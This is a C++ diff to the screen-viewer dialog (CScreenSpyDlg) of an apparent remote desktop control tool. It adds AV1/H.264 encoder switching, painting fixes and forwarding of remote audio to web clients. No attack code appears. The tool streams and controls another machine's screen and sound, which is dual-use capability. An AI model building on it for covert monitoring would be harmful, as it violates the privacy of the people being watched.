@@ -1410,27 +1480,11 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
|||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Broadcast H264 frame to web clients (only for Web session dialogs)
|
// Broadcast video frame to web clients (only for Web session dialogs)
|
||||||
// Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
|
// Format: [DeviceID:4][FrameType:1][DataLen:4][VideoData:N]
|
||||||
|
// 浏览器侧按首字节嗅探区分 H.264 / AV1,因此 packet 内不需要 codec 字段。
|
||||||
if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
|
if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
|
||||||
// Detect H264 keyframe by checking NAL unit type
|
bool isKeyFrame = IsAnyKeyframe((const uint8_t*)NextScreenData, NextScreenLength);
|
||||||
// NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
|
|
||||||
bool isKeyFrame = false;
|
|
||||||
LPBYTE h264Data = (LPBYTE)NextScreenData;
|
|
||||||
for (ULONG i = 0; i + 4 < NextScreenLength; i++) {
|
|
||||||
// Look for start code: 0x00 0x00 0x00 0x01 or 0x00 0x00 0x01
|
|
||||||
if ((h264Data[i] == 0 && h264Data[i+1] == 0 && h264Data[i+2] == 0 && h264Data[i+3] == 1) ||
|
|
||||||
(h264Data[i] == 0 && h264Data[i+1] == 0 && h264Data[i+2] == 1)) {
|
|
||||||
int nalOffset = (h264Data[i+2] == 1) ? i + 3 : i + 4;
|
|
||||||
if (nalOffset < (int)NextScreenLength) {
|
|
||||||
int nalType = h264Data[nalOffset] & 0x1F;
|
|
||||||
if (nalType == 5 || nalType == 7 || nalType == 8) {
|
|
||||||
isKeyFrame = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
|
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
|
||||||
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
|
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
|
||||||
@@ -1660,7 +1714,20 @@ void CScreenSpyDlg::OnPaint()
|
|||||||
StretchBlt(m_hFullDC, 0, 0, dstW, dstH, m_hFullMemDC, 0, 0, srcW, srcH, SRCCOPY);
|
StretchBlt(m_hFullDC, 0, 0, dstW, dstH, m_hFullMemDC, 0, 0, srcW, srcH, SRCCOPY);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY);
|
// 实际可见的位图像素数 = 位图剩余宽高(去掉滚动偏移后)与窗口的较小值
|
||||||
|
int visW = max(0, min(srcW - (int)m_ulHScrollPos, dstW));
|
||||||
|
int visH = max(0, min(srcH - (int)m_ulVScrollPos, dstH));
|
||||||
|
if (visW > 0 && visH > 0)
|
||||||
|
BitBlt(m_hFullDC, 0, 0, visW, visH, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY);
|
||||||
|
// 位图未覆盖的区域(远程分辨率小于窗口 / 滚动到边缘)填黑,防止残影
|
||||||
|
if (visW < dstW) {
|
||||||
|
RECT rc = { visW, 0, dstW, dstH };
|
||||||
|
FillRect(m_hFullDC, &rc, (HBRUSH)GetStockObject(BLACK_BRUSH));
|
||||||
|
}
|
||||||
|
if (visH < dstH) {
|
||||||
|
RECT rc = { 0, visH, dstW, dstH };
|
||||||
|
FillRect(m_hFullDC, &rc, (HBRUSH)GetStockObject(BLACK_BRUSH));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 绘制框选矩形(左键放大用红色,右键截图用绿色,二者颜色错开避免误操作)
|
// 绘制框选矩形(左键放大用红色,右键截图用绿色,二者颜色错开避免误操作)
|
||||||
@@ -1866,11 +1933,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
switch (nID) {
|
switch (nID) {
|
||||||
case IDM_CONTROL: {
|
case IDM_CONTROL: {
|
||||||
m_bIsCtrl = !m_bIsCtrl;
|
m_bIsCtrl = !m_bIsCtrl;
|
||||||
|
m_bIsTraceCursor = !m_bIsCtrl;
|
||||||
// 进入控制模式时重置放大状态
|
// 进入控制模式时重置放大状态
|
||||||
if (m_bIsCtrl && m_bZoomedIn) {
|
if (m_bIsCtrl && m_bZoomedIn) {
|
||||||
ResetZoom();
|
ResetZoom();
|
||||||
}
|
}
|
||||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||||
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
||||||
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
|
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
|
||||||
@@ -1909,6 +1978,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
FCCHandler handler = nID == IDM_SAVEAVI ? ENCODER_MJPEG : ENCODER_H264;
|
FCCHandler handler = nID == IDM_SAVEAVI ? ENCODER_MJPEG : ENCODER_H264;
|
||||||
int code;
|
int code;
|
||||||
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
|
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
|
||||||
|
DeleteFile(m_aviFile); // 删除 AVIFileOpen 残留的 0 字节文件
|
||||||
MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n" + _TR("错误代码: ") +
|
MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n" + _TR("错误代码: ") +
|
||||||
CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION);
|
CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION);
|
||||||
m_aviFile = _T("");
|
m_aviFile = _T("");
|
||||||
@@ -2120,6 +2190,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
}
|
}
|
||||||
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
|
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
|
||||||
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
Invalidate(FALSE); // 立即重绘,清除旧模式的残留画面
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_AUDIO_TOGGLE: {
|
case IDM_AUDIO_TOGGLE: {
|
||||||
@@ -2131,6 +2202,26 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case IDM_ENABLE_H264_HARD: {
|
||||||
|
m_Settings.EncodeLevel = m_Settings.EncodeLevel ? LEVEL_H264_SOFT : LEVEL_H264_HARD;
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
BYTE bToken[] = {COMMAND_ENCODE_LEVEL, m_Settings.EncodeLevel };
|
||||||
|
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_ENABLE_AV1_HARD: {
|
||||||
|
m_Settings.EncodeLevel = m_Settings.EncodeLevel ? LEVEL_H264_SOFT : LEVEL_AV1_HARD;
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
BYTE bToken[] = { COMMAND_ENCODE_LEVEL, m_Settings.EncodeLevel };
|
||||||
|
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
__super::OnSysCommand(nID, lParam);
|
__super::OnSysCommand(nID, lParam);
|
||||||
@@ -3421,9 +3512,73 @@ void CScreenSpyDlg::StopAudioPlayback()
|
|||||||
#endif
|
#endif
|
||||||
m_nAudioCompression = 0;
|
m_nAudioCompression = 0;
|
||||||
|
|
||||||
|
// 重置网页端音频格式标志(线程安全的清理)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
|
||||||
|
m_bAudioFormatSent = FALSE;
|
||||||
|
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
|
||||||
|
}
|
||||||
|
|
||||||
Mprintf("[ScreenSpy] 音频播放已停止\n");
|
Mprintf("[ScreenSpy] 音频播放已停止\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CScreenSpyDlg::DisableAudio()
|
||||||
|
{
|
||||||
|
// 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅禁用
|
||||||
|
if (m_Settings.AudioEnabled) {
|
||||||
|
m_Settings.AudioEnabled = FALSE;
|
||||||
|
SendAudioCtrl(CYCLEAUDIO_DISABLE, 1);
|
||||||
|
StopAudioPlayback();
|
||||||
|
|
||||||
|
// 清理网页端格式状态(在 mutex 保护下)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
|
||||||
|
m_bAudioFormatSent = FALSE;
|
||||||
|
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("[Audio Web] 禁用音频(来自 web 命令)\n");
|
||||||
|
|
||||||
|
// 广播状态给所有正在观看本设备的 web 客户端
|
||||||
|
if (WebService().IsRunning()) {
|
||||||
|
WebService().NotifyAudioState(m_ClientID, false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CScreenSpyDlg::EnableAudio()
|
||||||
|
{
|
||||||
|
// 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅启用
|
||||||
|
if (!m_Settings.AudioEnabled) {
|
||||||
|
m_Settings.AudioEnabled = TRUE;
|
||||||
|
SendAudioCtrl(CYCLEAUDIO_ENABLE, 1);
|
||||||
|
|
||||||
|
// 强制重新发送格式信息(清理缓存)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
|
||||||
|
m_bAudioFormatSent = FALSE;
|
||||||
|
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("[Audio Web] 启用音频(来自 web 命令)\n");
|
||||||
|
|
||||||
|
if (WebService().IsRunning()) {
|
||||||
|
WebService().NotifyAudioState(m_ClientID, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 由 PostMessage 从 WS 线程派发到 UI 线程;根据当前状态翻转
|
||||||
|
LRESULT CScreenSpyDlg::OnAudioToggleFromWeb(WPARAM /*wParam*/, LPARAM /*lParam*/)
|
||||||
|
{
|
||||||
|
if (m_Settings.AudioEnabled) {
|
||||||
|
DisableAudio();
|
||||||
|
} else {
|
||||||
|
EnableAudio();
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
|
void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
|
||||||
{
|
{
|
||||||
if (len < 1) return;
|
if (len < 1) return;
|
||||||
@@ -3462,12 +3617,20 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
|
|||||||
UINT32 audioLen = len - offset;
|
UINT32 audioLen = len - offset;
|
||||||
if (audioLen == 0) return;
|
if (audioLen == 0) return;
|
||||||
|
|
||||||
|
// 保存"上线格式"字节(Opus 模式下是原始压缩包,PCM 模式下是原始 PCM)。
|
||||||
|
// 这就是要透传给 web 的数据 —— web 端用 MSE+WebM 直接播 Opus,
|
||||||
|
// 不需要服务器解码后再发 PCM。本地 waveOut 仍然需要 PCM,因此下面
|
||||||
|
// 还是会解码一遍。
|
||||||
|
BYTE* pWireData = pAudioData;
|
||||||
|
UINT32 wireLen = audioLen;
|
||||||
|
BYTE wireCompression = (BYTE)m_nAudioCompression;
|
||||||
|
|
||||||
// 帧对齐参数
|
// 帧对齐参数
|
||||||
DWORD blockAlign = m_AudioFormat.nBlockAlign;
|
DWORD blockAlign = m_AudioFormat.nBlockAlign;
|
||||||
if (blockAlign == 0) blockAlign = 4; // 默认 stereo 16-bit
|
if (blockAlign == 0) blockAlign = 4; // 默认 stereo 16-bit
|
||||||
|
|
||||||
#if USING_OPUS
|
#if USING_OPUS
|
||||||
// Opus 解码
|
// Opus 解码(仅供本地 waveOut 使用;web 仍会收到原始压缩包)
|
||||||
if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) {
|
if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) {
|
||||||
COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder;
|
COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder;
|
||||||
int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2);
|
int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2);
|
||||||
@@ -3510,10 +3673,104 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
|
|||||||
Mprintf("[Audio] 预缓冲完成,开始播放 (缓冲: %u bytes)\n", m_nRingDataLen);
|
Mprintf("[Audio] 预缓冲完成,开始播放 (缓冲: %u bytes)\n", m_nRingDataLen);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 发送上线格式(Opus 压缩包 / 或原始 PCM)到网页
|
||||||
|
SendAudioToWeb(pWireData, wireLen, &m_AudioFormat, wireCompression);
|
||||||
|
|
||||||
// 填充可用的 waveOut 缓冲区
|
// 填充可用的 waveOut 缓冲区
|
||||||
FeedAudioBuffers();
|
FeedAudioBuffers();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CScreenSpyDlg::SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression)
|
||||||
|
{
|
||||||
|
if (!WebService().IsRunning()) return;
|
||||||
|
if (!pAudioData || len == 0) return;
|
||||||
|
if (!m_ContextObject) return;
|
||||||
|
if (!m_Settings.AudioEnabled) return;
|
||||||
|
|
||||||
|
std::vector<BYTE> packet;
|
||||||
|
BOOL formatChanged = FALSE;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
|
||||||
|
|
||||||
|
if (!m_bAudioFormatSent) {
|
||||||
|
formatChanged = TRUE;
|
||||||
|
} else if (pFormat && (
|
||||||
|
pFormat->nChannels != m_AudioFormatWeb.channels ||
|
||||||
|
pFormat->nSamplesPerSec != m_AudioFormatWeb.sampleRate ||
|
||||||
|
pFormat->wBitsPerSample != m_AudioFormatWeb.bitsPerSample ||
|
||||||
|
compression != m_AudioFormatWeb.compression)) {
|
||||||
|
formatChanged = TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 第1字节:是否包含格式信息
|
||||||
|
packet.push_back(formatChanged ? 1 : 0);
|
||||||
|
|
||||||
|
if (formatChanged && pFormat) {
|
||||||
|
if (pFormat->nChannels < 1 || pFormat->nChannels > 8 ||
|
||||||
|
pFormat->nSamplesPerSec < 8000 || pFormat->nSamplesPerSec > 48000 ||
|
||||||
|
pFormat->wBitsPerSample != 16) {
|
||||||
|
Mprintf("[Audio Web] Invalid format: ch=%d, sr=%d, bps=%d\n",
|
||||||
|
pFormat->nChannels, pFormat->nSamplesPerSec, pFormat->wBitsPerSample);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 12-byte AudioFormat 结构(commands.h, pack(1))
|
||||||
|
AudioFormat fmt;
|
||||||
|
fmt.channels = (WORD)pFormat->nChannels;
|
||||||
|
fmt.sampleRate = (DWORD)pFormat->nSamplesPerSec;
|
||||||
|
fmt.bitsPerSample = (WORD)pFormat->wBitsPerSample;
|
||||||
|
// blockAlign 对 Opus 是 informational 的(包是变长压缩),按 PCM 推算填上即可。
|
||||||
|
fmt.blockAlign = (WORD)(fmt.channels * fmt.bitsPerSample / 8);
|
||||||
|
fmt.compression = compression;
|
||||||
|
fmt.reserved = 0;
|
||||||
|
|
||||||
|
BYTE* pFmt = (BYTE*)&fmt;
|
||||||
|
packet.insert(packet.end(), pFmt, pFmt + sizeof(fmt));
|
||||||
|
// padding byte: 保持后续音频数据落在偶数偏移上(PCM 模式下 web 端
|
||||||
|
// 需要 Int16 对齐;Opus 模式无所谓但保留兼容旧 web 解析)
|
||||||
|
packet.push_back(0);
|
||||||
|
|
||||||
|
m_AudioFormatWeb = fmt;
|
||||||
|
m_bAudioFormatSent = TRUE;
|
||||||
|
|
||||||
|
Mprintf("[Audio Web] Format sent: ch=%d, sr=%d Hz, compression=%d\n",
|
||||||
|
fmt.channels, fmt.sampleRate, fmt.compression);
|
||||||
|
}
|
||||||
|
} // 释放 mutex
|
||||||
|
|
||||||
|
// 添加音频数据(此操作不需要 mutex,因为我们已经复制了所有需要的共享状态)
|
||||||
|
packet.insert(packet.end(), pAudioData, pAudioData + len);
|
||||||
|
|
||||||
|
// 构造完整帧:[DeviceID:4][FrameType:1][DataLen:4][audio payload...]
|
||||||
|
// FrameType: 96 = TOKEN_SCREEN_AUDIO,用于在网页端识别音频
|
||||||
|
std::vector<BYTE> frame;
|
||||||
|
|
||||||
|
uint64_t deviceID = GetClientID();
|
||||||
|
uint32_t audioDataLen = (uint32_t)packet.size();
|
||||||
|
uint8_t frameType = 96; // TOKEN_SCREEN_AUDIO
|
||||||
|
|
||||||
|
// [DeviceID:4] little-endian
|
||||||
|
frame.push_back((BYTE)(deviceID & 0xFF));
|
||||||
|
frame.push_back((BYTE)((deviceID >> 8) & 0xFF));
|
||||||
|
frame.push_back((BYTE)((deviceID >> 16) & 0xFF));
|
||||||
|
frame.push_back((BYTE)((deviceID >> 24) & 0xFF));
|
||||||
|
|
||||||
|
// [FrameType:1]
|
||||||
|
frame.push_back(frameType);
|
||||||
|
|
||||||
|
// [DataLen:4] little-endian
|
||||||
|
frame.push_back((BYTE)(audioDataLen & 0xFF));
|
||||||
|
frame.push_back((BYTE)((audioDataLen >> 8) & 0xFF));
|
||||||
|
frame.push_back((BYTE)((audioDataLen >> 16) & 0xFF));
|
||||||
|
frame.push_back((BYTE)((audioDataLen >> 24) & 0xFF));
|
||||||
|
|
||||||
|
// [audio payload]
|
||||||
|
frame.insert(frame.end(), packet.begin(), packet.end());
|
||||||
|
|
||||||
|
// 广播到所有网页客户端
|
||||||
|
WebService().BroadcastH264Frame(deviceID, frame.data(), frame.size());
|
||||||
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::FeedAudioBuffers()
|
void CScreenSpyDlg::FeedAudioBuffers()
|
||||||
{
|
{
|
||||||
if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return;
|
if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return;
|
||||||
|
|||||||
@@ -8,28 +8,82 @@
|
|||||||
#include "ToolbarDlg.h"
|
#include "ToolbarDlg.h"
|
||||||
#include "2015RemoteDlg.h"
|
#include "2015RemoteDlg.h"
|
||||||
|
|
||||||
|
#include "common/config.h"
|
||||||
|
#include "common/commands.h" // 包含 AudioFormat 定义
|
||||||
|
|
||||||
|
extern "C"
|
||||||
|
{
|
||||||
|
#include "libyuv\libyuv.h"
|
||||||
|
}
|
||||||
|
|
||||||
|
#if DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
#define AV_CODEC_ID_H264 27
|
||||||
|
#define AVERROR(e) (-(e))
|
||||||
|
|
||||||
|
// 伪装不涉及内部成员直接访问的上下文指针
|
||||||
|
typedef void AVCodecContext;
|
||||||
|
typedef void AVCodec;
|
||||||
|
|
||||||
|
// 伪装 AVPacket 结构体,补全被主程序访问的 data 和 size 成员
|
||||||
|
struct AVPacket {
|
||||||
|
unsigned char* data;
|
||||||
|
int size;
|
||||||
|
long long pts;
|
||||||
|
long long dts;
|
||||||
|
int flags;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 伪装 AVFrame 结构体,补全被主程序访问的 data 和 linesize 成员
|
||||||
|
struct AVFrame {
|
||||||
|
unsigned char* data[8];
|
||||||
|
int linesize[8];
|
||||||
|
int width;
|
||||||
|
int height;
|
||||||
|
int format;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 使用 extern "C" __inline 或者是 inline 关键字,直接就地实现函数体
|
||||||
|
extern "C" {
|
||||||
|
__inline void av_frame_unref(AVFrame* frame) {
|
||||||
|
if (frame) {
|
||||||
|
for (int i = 0; i < 8; i++) { frame->data[i] = nullptr; frame->linesize[i] = 0; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__inline AVCodec* avcodec_find_decoder(int id) { return nullptr; }
|
||||||
|
__inline void av_init_packet(AVPacket* pkt) { if (pkt) { pkt->data = nullptr; pkt->size = 0; } }
|
||||||
|
__inline AVCodecContext* avcodec_alloc_context3(const AVCodec* codec) { return nullptr; }
|
||||||
|
__inline void avcodec_free_context(AVCodecContext** avctx) { if (avctx) *avctx = nullptr; }
|
||||||
|
__inline int avcodec_open2(AVCodecContext* avctx, const AVCodec* codec, void** options) { return -1; }
|
||||||
|
__inline int avcodec_send_packet(AVCodecContext* avctx, const AVPacket* avpkt) { return -1; }
|
||||||
|
__inline int avcodec_receive_frame(AVCodecContext* avctx, AVFrame* frame) { return -1; }
|
||||||
|
__inline void avcodec_flush_buffers(AVCodecContext* avctx) { /* 空白实现 */ }
|
||||||
|
}
|
||||||
|
|
||||||
|
#else
|
||||||
extern "C"
|
extern "C"
|
||||||
{
|
{
|
||||||
#include "libavcodec\avcodec.h"
|
#include "libavcodec\avcodec.h"
|
||||||
#include "libavutil\avutil.h"
|
#include "libavutil\avutil.h"
|
||||||
#include "libyuv\libyuv.h"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef _WIN64
|
#ifndef _WIN64
|
||||||
// https://github.com/Terodee/FFMpeg-windows-static-build/releases
|
// https://github.com/Terodee/FFMpeg-windows-static-build/releases
|
||||||
#pragma comment(lib,"ffmpeg/libavcodec.lib")
|
#pragma comment(lib,"ffmpeg/libavcodec.lib")
|
||||||
#pragma comment(lib,"ffmpeg/libavutil.lib")
|
#pragma comment(lib,"ffmpeg/libavutil.lib")
|
||||||
#pragma comment(lib,"ffmpeg/libswresample.lib")
|
#pragma comment(lib,"ffmpeg/libswresample.lib")
|
||||||
|
|
||||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
|
||||||
#else
|
#else
|
||||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
|
||||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
|
||||||
// https://github.com/ShiftMediaProject/FFmpeg
|
// https://github.com/ShiftMediaProject/FFmpeg
|
||||||
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
|
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
|
||||||
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
|
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
|
||||||
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
|
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
|
||||||
#endif
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef _WIN64
|
||||||
|
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||||
|
#endif
|
||||||
|
|
||||||
#pragma comment(lib, "Mfplat.lib")
|
#pragma comment(lib, "Mfplat.lib")
|
||||||
#pragma comment(lib, "Mfuuid.lib")
|
#pragma comment(lib, "Mfuuid.lib")
|
||||||
@@ -39,6 +93,9 @@ extern "C"
|
|||||||
// 文件接收消息(用于将工作线程的文件数据转发到主线程处理)
|
// 文件接收消息(用于将工作线程的文件数据转发到主线程处理)
|
||||||
#define WM_RECVFILEV2_CHUNK (WM_USER + 0x200)
|
#define WM_RECVFILEV2_CHUNK (WM_USER + 0x200)
|
||||||
#define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
|
#define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
|
||||||
|
// 来自 web 命令的音频开关,PostMessage 到对话框的 UI 线程,避免 WS 线程
|
||||||
|
// 直接动 waveOut 句柄
|
||||||
|
#define WM_AUDIO_TOGGLE_FROM_WEB (WM_USER + 0x202)
|
||||||
|
|
||||||
// ScreenSpyDlg 系统菜单命令 ID
|
// ScreenSpyDlg 系统菜单命令 ID
|
||||||
enum {
|
enum {
|
||||||
@@ -82,6 +139,8 @@ enum {
|
|||||||
IDM_RESTORE_CONSOLE, // RDP会话归位
|
IDM_RESTORE_CONSOLE, // RDP会话归位
|
||||||
IDM_RESET_VIRTUAL_DESKTOP, // 重置虚拟桌面
|
IDM_RESET_VIRTUAL_DESKTOP, // 重置虚拟桌面
|
||||||
IDM_AUDIO_TOGGLE, // 音频开关
|
IDM_AUDIO_TOGGLE, // 音频开关
|
||||||
|
IDM_ENABLE_H264_HARD,
|
||||||
|
IDM_ENABLE_AV1_HARD,
|
||||||
};
|
};
|
||||||
|
|
||||||
// 状态信息窗口 - 全屏时显示帧率/速度/质量
|
// 状态信息窗口 - 全屏时显示帧率/速度/质量
|
||||||
@@ -294,11 +353,23 @@ public:
|
|||||||
short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
|
short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
// 网页端音频发送状态
|
||||||
|
BOOL m_bAudioFormatSent = FALSE; // 是否已发送格式信息到网页
|
||||||
|
AudioFormat m_AudioFormatWeb = {}; // 上次发送给网页的格式
|
||||||
|
|
||||||
|
// 音频到网页的多线程同步
|
||||||
|
std::mutex m_AudioWebMutex; // 保护音频发送状态的互斥锁
|
||||||
|
// 注意:m_Settings.AudioEnabled 是全局的音频启用/禁用状态
|
||||||
|
|
||||||
void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据
|
void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据
|
||||||
BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放
|
BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放
|
||||||
void StopAudioPlayback(); // 停止音频播放
|
void StopAudioPlayback(); // 停止音频播放
|
||||||
|
void DisableAudio(); // 禁用音频(从网页命令)
|
||||||
|
void EnableAudio(); // 启用音频(从网页命令)
|
||||||
|
LRESULT OnAudioToggleFromWeb(WPARAM wParam, LPARAM lParam); // PostMessage 处理器
|
||||||
void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
|
void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
|
||||||
void FeedAudioBuffers(); // 填充音频缓冲区
|
void FeedAudioBuffers(); // 填充音频缓冲区
|
||||||
|
void SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression); // 发送音频到网页 (compression=AudioCompression)
|
||||||
|
|
||||||
int GetClientRTT(); // 获取客户端RTT(ms)
|
int GetClientRTT(); // 获取客户端RTT(ms)
|
||||||
